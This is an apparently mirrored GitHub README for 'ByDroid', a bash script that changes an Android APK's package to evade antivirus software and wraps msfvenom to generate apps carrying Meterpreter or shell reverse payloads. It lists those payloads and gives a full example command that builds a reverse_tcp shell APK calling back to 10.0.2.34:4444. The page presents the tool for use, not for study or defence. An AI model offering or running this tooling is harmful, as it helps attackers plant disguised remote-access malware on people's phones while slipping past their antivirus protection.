Giter Site home page Giter Site logo

bydroid's Introduction

ByDroid

A simple bash script for edit Android APK files and evade AVs changing the package

Usage

bydroid.sh [OPTIONS] package [file]
OPTIONS:
  -h, --help          show help message
  -g, --generate      generate an apk with msfvenom (requires: -P, -l, -p)
  -P, --payload       set the payload for msfvenom (see below)
  -l, --lhost         set the lhost for msfvenom payload
  -p, --port          set the port for msfvenom payload
  -n, --name          change the app name (not implemented yet)
  -i, --icon          change the app icon (not implemented yet)
  -o, --output        select the output file

The package parameter means the new package for the app.

The file parameter is the input file to patch (ignored when use -g).

Payloads

android/meterpreter/reverse_http
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp

Dependencies

All of them included in Kali Linux

TODO

  • Function -n (change name)
  • Function -i (change icon)
  • List missing dependencies
  • Prompt for bin location when not found
  • Change d2j-apk-sign for jarsigner
  • Resource files generation

EXAMPLES

bydroid.sh com.new.package app.apk

Changes the package of app.apk to com.new.package and gives an output file out.apk

bydroid.sh com.new.package app.apk -o edited.apk -n "New Name" -i ~/images/icon.png

Changes the package to com.new.package, the name of the app to New Name and the icon with the selected image, and gives the output file edited.apk

bydroid.sh com.new.package -g -P android/shell/reverse_tcp -l 10.0.2.34 -p 4444 -o payload.apk

Generates a payload android/shell/reverse_tcp which connects to 10.0.2.34:4444 and gives the output file payload.apk

bydroid's People

Contributors

tuxt avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.